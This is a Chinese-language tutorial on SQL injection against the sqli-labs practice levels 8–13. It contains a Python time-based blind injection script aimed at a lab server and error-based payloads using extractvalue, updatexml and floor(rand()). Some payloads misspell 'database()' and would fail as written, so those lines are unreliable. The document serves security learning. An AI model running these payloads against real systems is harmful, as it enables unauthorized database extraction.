SQL注入基础学习3
二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)
靶场采用sqli-labs
8、第8关
第八关只能采用盲注的方法,页面也不显示任何报错的信息。可以采用时间盲注或布尔盲注。
-
测试是否存在注入点。页面输入
)'
时,页面无显示,说明可能存在注入点。 -
后面的步骤参照 SQL注入基础学习2,不过,闭合方式为
)'
9、第9关
第九关的话,输入任何信息会发现,页面的信息都一么一样,此时可以采用时间盲注。
时间盲注
1.什么是时间盲注?
时间盲注,通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。用到的函数为sleep()。
2.时间盲注的利用
以第九关为列
输入任意字符时查看页面的响应时间
当输入正确的信息并且利用sleep时
所以,利用这个方法,和布尔盲注的注入思路一样,我们可以从页面的响应时间来判断前面的输入是否正确。
但是手工注入的话太繁琐了,我们可以利用脚本或者自动化工具来进行注入。
初学的话,我们可以尝试自己写脚本来加深印象
脚本只写了查询数据库的长度和数据库名称,剩下的基本和 SQL注入基础学习2的思路一样。
脚本如下:
import requests
import time
header = {
'Cookie': 'security_level=0; BEEFHOOK=edd3UMoFIeKB2j00LcxmECLXTbIo7LuW7EulDpQt287YZMa0M2cTEORVPG1cMRnkibKGTsXcauYPhVyx'
}
baseurl = 'http://8.130.109.21:9999/Less-9/?id='
print("时间盲注管卡")
sptime = int(input("请输入设置沉睡的时间:"))
# 获取数据库名字的长度
def get_databasename_length() -> int:
count = 0
for i in range(40):
url = baseurl + "1)' and length(database())={} and sleep({})--+".format(i,sptime)
start_time = time.time()
requests.get(url, headers=header)
end_time = time.time()
if end_time - start_time > sptime:
print("数据库的长度为:{}".format(i))
count = i
break
return count
# 获取数据库名字
def get_databasename(count):
print("数据库名字为:", end='')
for i in range(count+1):
for j in range(33, 127):
start_time = time.time()
url = baseurl + "1)' and ascii(mid(database(),{},1))={} and sleep({})--+".format(i, j,sptime)
requests.get(url, headers=header)
end_time = time.time()
if end_time - start_time > sptime:
print(chr(j), end='')
break
# get_databasename_length()
get_databasename(get_databasename_length())
脚本的主要思路,在请求前利用time()
函数获得当前的时间start_time
,然后在请求收到响应后,获得当前的时间end_time
,如果end_time - start_time>设置沉睡的时间
,那么就是构造的sql注入语句是正确的
运行结果展示如下
10、第10关
第十关与第九关一样,不过闭合方式变成了 )"
11、第11关
POST注入,从url中看不到提交的内容,所以我们得借助工具来测试。工具的话,可以用浏览器插件,浏览器插件HackBar
,或者工具postman
,或者使用burpsuite
,下面的演示内容采用burpsuite
来演示
-
测试注入点,可以在页面中的username来测试,输入
'
后显示报错信息,闭合方式为'
-
先利用
order by
测试列数,测试结果为2 -
测试回显位
-
后面的注入与之前的get方式语法一样,填入,uname的值就行
-
最终的结果如下图所示
12、第12关
-
输入
"
后,页面会出现报错信息 -
测试闭合方式,然后利用order by来测试字段数,如下图所示
-
后面就是步骤和之前的一样
13、第13关
报错注入
-
定义:数据库在执行SQL语句时,通常会先对SQL进行检测,如果SQL语句存在问题,就会返回错误信息。通过这种机制,我们可以构造恶意的SQL,触发数据库报错,而在报错信息中就存在着我们想要的信息。
-
报错注入常用函数
-
extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。admin') union select 1,extractvalue(1,concat(0x7e,(select dataabse())))# admin') and 1=extractvalue(1,concat(0x7e,(select dataabse())))#
-
updatexml(xml_target, xpath_expr, new_xml):
xml_target:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
new_xml:需要更新的内容。admin') union select 1,updatexml(1,concat(0x7e,(select dataabse())),3)# admin') and 1=updatexml(1,concat(0x7e,(select dataabse())),3)#
-
floor()
- rand() 随机函数,返回0到1之间的小数
- floor() 小数向下取整
admin') and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))a from information_schema.tables group by a)x)#
-
-
靶场实操
-
判断闭合方式为
')'
-
获取数据库名
-
获取数据库中的表
-
后面只需替换要查询的内容即可,但是报错查询每次输出有长度限制
-